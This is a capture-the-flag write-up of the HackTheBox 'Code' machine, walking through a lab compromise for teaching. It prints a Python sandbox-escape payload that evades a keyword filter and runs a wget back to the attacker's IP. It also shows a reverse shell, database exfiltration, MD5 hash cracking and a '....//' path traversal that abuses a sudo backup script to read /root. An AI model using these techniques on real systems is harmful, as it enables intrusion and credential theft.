Code Writeup (HackTheBox Easy Machine)


Overview

Code is an easy Linux machine from HackTheBox. This box serves as introduction to Python code exploitation, specifically to bypassing certain restrictions by using other functionality.

We start with discovering Python Code Editor web application, which restricts certain keywords which could cause RCE on the server. We find a way to bypass this restriction and get a shell. Inside the machine, we find SQLite database file with hashed password for other user.

Lastly, we abuse our write permissions in combination with another restriction bypass techniques to backup the “/root” directory and get the root flag.


Nmap scan

Starting with Nmap scan.

┌──(kali㉿kali)-[~]
└─$ sudo nmap -Pn -A 10.10.11.62 -T5
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-23 05:56 EDT
Nmap scan report for code.htb (10.10.11.62)
Host is up (0.046s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 b5:b9:7c:c4:50:32:95:bc:c2:65:17:df:51:a2:7a:bd (RSA)
| 256 94:b5:25:54:9b:68:af:be:40:e1:1d:a8:6b:85:0d:01 (ECDSA)
|_ 256 12:8c:dc:97:ad:86:00:b4:88:e2:29:cf:69:b5:65:96 (ED25519)
5000/tcp open http Gunicorn 20.0.4
|_http-title: Python Code Editor
|_http-server-header: gunicorn/20.0.4
Device type: general purpose
Running: Linux 5.X
OS CPE: cpe:/o:linux:linux_kernel:5
OS details: Linux 5.0 - 5.14
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 1723/tcp)
HOP RTT ADDRESS
1 38.73 ms 10.10.14.1
2 42.18 ms code.htb (10.10.11.62)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.25 seconds

The Nmap scan showed that 2 ports are opened. Port 22 for SSH and unusual port 5000 for HTTP server titled “Python Code Editor” running Gunicorn 20.0.4. Don’t forget to add “code.htb” to your “/etc/hosts” file.


Web enumeration

I checked the website on port 5000 and it looked like typical online Python code editor.

I could register and save my codes there. So I created an account and wrote a simple Python script to test the functionality of the app. It simply saved my code under certain code id.


Next, I tried to get a shell by simply using “exec” function, which executes commands on system. Got no luck, because that is one of restricted keywords, same as “eval”.

Perhaps there’s a clever way to bypass these restrictions. IT’S RESEARCH TIME!!!


Bypassing “eval” restriction, getting RCE & getting user flag

I did a lot of research. There was a request smuggling vulnerability in Gunicorn 20.0.4, which confused me at first. After figuring out that was not the way, I switched my attention back to “eval”.

I stumbled upon this article: https://netsec.expert/posts/breaking-python3-eval-protections/. The article described and explained the methodology behind breaking the “eval” protection.

Author here explains that all built-in functions like “print”, “import” and even “eval” itself are provided through a global variable called “builtins”.

At the end of the article, there was this single statement to bypass the cleared “builtins**”** global and arbitrarily run “os.system” calls:

 [x for x in  [].__class__.__base__.__subclasses__() if x.__name__ == 'BuiltinImporter'][0]().load_module('os').system("echo pwned")


I made the code more readable with ChatGPT and tried to run it in our Python editor web app. As expected, I still got flagged for using the restricted keywords.


Solution to this problem was quite simple. If the back end checker only looks for fixed strings like “eval”, “os” and “import”, all we have to do is just concatenate our function names using variables. That’s how I came up with this modified piece of code (plus I changed names of some variables):

varA = "Built" + "inImpor" + "ter"
varB = "o" + "s"
varC = "sys" + "tem"

for haxor in [].__class__.__base__.__subclasses__():
if haxor.__name__ == varA:
module = haxor().load_module(varB)
getattr(module, varC)("wget http://10.10.14.97:9000/hacked")

I also had to change the structure of the code to a for loop with if statement, to avoid index error or something (ChatGPT called it like that, I had no clue honestly). At first, I set up a Python server and tested the code by making GET request to me. And it worked!

server reaches back to me with a GET request, confirming RCE

So I started a Netcat listener. Finally, I got the shell as user “app-production”.


Dumping SQLite database & logging in as “martin”

I found myself in a directory with all the code that runs on the website. I looked around and found a file “database.db”. I immediately started a Python HTTP server and transferred the database to my machine. It was a SQLite database.

app-production@code:~/app/instance$ ls -la
ls -la
total 24
drwxr-xr-x 2 app-production app-production 4096 Mar 23 19:10 .
drwxrwxr-x 6 app-production app-production 4096 Mar 23 19:13 ..
-rw-r--r-- 1 app-production app-production 16384 Mar 23 19:10 database.db
app-production@code:~/app/instance$ python3 -m http.server 9000
python3 -m http.server 9000
Serving HTTP on 0.0.0.0 port 9000 (http://0.0.0.0:9000/) ...
10.10.14.97 - - [23/Mar/2025 19:18:01] "GET /database.db HTTP/1.1" 200 -


I opened it with SQLite browser and discovered several MD5 hashes. I was particularly interested in hash of user “martin”, as I saw this username listed in “/etc/passwd” with “/bin/bash”.

I booted John the Ripper and cracked the hash.

┌──(kali㉿kali)-[~]
└─$ john hash.txt --wordlist=Downloads/rockyou.txt --format=Raw-MD5
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 128/128 AVX 4x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
XXX[REDACTED]XXX (?)
1g 0:00:00:00 DONE (2025-03-23 15:27) 5.555g/s 29037Kp/s 29037Kc/s 29037KC/s nafi0189..nafal
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.


Root flag

I logged into the machine as “martin” via SSH. I quickly checked sudo permissions with “sudo -l”.

martin@code:~$ sudo -l
Matching Defaults entries for martin on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User martin may run the following commands on localhost:
(ALL : ALL) NOPASSWD: /usr/bin/backy.sh
martin@code:~$ ls -la /usr/bin/backy.sh
-rwxr-xr-x 1 root root 926 Sep 16 2024 /usr/bin/backy.sh

The “backy.sh” bash script looks like this:

#!/bin/bash

if [[ $# -ne 1 ]]; then
/usr/bin/echo "Usage: $0 <task.json>"
exit 1
fi

json_file="$1"

if [[ ! -f "$json_file" ]]; then
/usr/bin/echo "Error: File '$json_file' not found."
exit 1
fi

allowed_paths=("/var/" "/home/")

updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")

/usr/bin/echo "$updated_json" > "$json_file"

directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]')

is_allowed_path() {
local path="$1"
for allowed_path in "${allowed_paths[@]}"; do
if [[ "$path" == $allowed_path* ]]; then
return 0
fi
done
return 1
}

for dir in $directories_to_archive; do
if ! is_allowed_path "$dir"; then
/usr/bin/echo "Error: $dir is not allowed. Only directories under /var/ and /home/ are allowed."
exit 1
fi
done

/usr/bin/backy "$json_file"

This Bash script processes a JSON file containing a list of directories to archive, ensuring they meet security constraints before executing a backup command.


It uses “/usr/bin/jq” binary to remove any occurrences of “. . /” in “directories_to_archive” to prevent directory traversal attacks. If this check iterates through the JSON file only once, there’s a possibility to bypass this by using “. . . . //”.

It also defines “/var/” and “/home/” as the only permitted directory prefixes. We can use these directories in combination with “. . . . //” to return to root directory and trick the binary to backup the “/root” directory with the root flag. Final payload would look like this: “/var/. . . . //root/”.

There was such JSON file “task.json” in our home directory in “/backups”.

martin@code:~$ ls -la backups/
total 20
drwxr-xr-x 2 martin martin 4096 Mar 24 09:05 .
drwxr-x--- 6 martin martin 4096 Mar 24 09:05 ..
-rw-r--r-- 1 martin martin 5879 Mar 24 09:05 code_home_app-production_app_2024_August.tar.bz2
-rw-r--r-- 1 martin martin 181 Mar 24 09:05 task.json
martin@code:~$ cat backups/task.json
{
"destination": "/home/martin/backups/",
"multiprocessing": true,
"verbose_log": false,
"directories_to_archive": [
"/home/app-production/app"
],

"exclude": [
".*"
]
}

Default directory to backup was “/home/app-production/app”. Luckily for me, file “task.json” was writable.


I added my payload to “task.json” and ran “/usr/bin/backy.sh” with it.

martin@code:~/backups$ sudo /usr/bin/backy.sh task.json 
2025/03/24 11:36:03 🍀 backy 1.2
2025/03/24 11:36:03 📋 Working with task.json ...
2025/03/24 11:36:03 💤 Nothing to sync
2025/03/24 11:36:03 📤 Archiving: [/home/../root]
2025/03/24 11:36:03 📥 To: /home/martin/backups ...
2025/03/24 11:36:03 📦
martin@code:~/backups$ ls -la
total 36
drwxr-xr-x 2 martin martin 4096 Mar 24 11:36 .
drwxr-x--- 6 martin martin 4096 Mar 24 11:35 ..
-rw-r--r-- 1 martin martin 5879 Mar 24 11:35 code_home_app-production_app_2024_August.tar.bz2
-rw-r--r-- 1 root root 12844 Mar 24 11:36 code_home_.._root_2025_March.tar.bz2
-rw-r--r-- 1 martin martin 151 Mar 24 11:36 task.json

It generated an archive. I had to unzip it using “bzip2” and “tar”. Inside, there was entire “/root” directory. And finally, there was the root flag.

martin@code:~/backups/root$ ls -la
total 36
drwx------ 6 martin martin 4096 Mar 24 11:40 .
drwxr-xr-x 3 martin martin 4096 Mar 24 11:46 ..
lrwxrwxrwx 1 martin martin 9 Jul 27 2024 .bash_history -> /dev/null
-rw-r--r-- 1 martin martin 3106 Dec 5 2019 .bashrc
drwx------ 2 martin martin 4096 Aug 27 2024 .cache
drwxr-xr-x 3 martin martin 4096 Jul 27 2024 .local
-rw-r--r-- 1 martin martin 161 Dec 5 2019 .profile
lrwxrwxrwx 1 martin martin 9 Jul 27 2024 .python_history -> /dev/null
-rw-r----- 1 martin martin 33 Mar 24 11:40 root.txt
drwxr-xr-x 3 martin martin 4096 Sep 16 2024 scripts
lrwxrwxrwx 1 martin martin 9 Jul 27 2024 .sqlite_history -> /dev/null
drwx------ 2 martin martin 4096 Aug 27 2024 .ssh


Summary

Code is an easy machine from HackTheBox. This box showcases the danger of incorrectly implemented restriction features in web applications, leading to critical vulnerabilities such as RCE. Once inside, we are greeted with database file containing all the credentials. At last, we once again abuse badly implemented security mitigations on a binary in combination with too much write permissions. Relatively simple box, good for beginners. I got a bit frustrated here and there because some payloads needed to be written precisely.

Comments

Popular posts from this blog

Hospital Writeup (HackTheBox Medium Machine)

Bucket Writeup (HackTheBox Medium Machine)

Mr Robot Writeup (Vulnhub Intermediate Machine)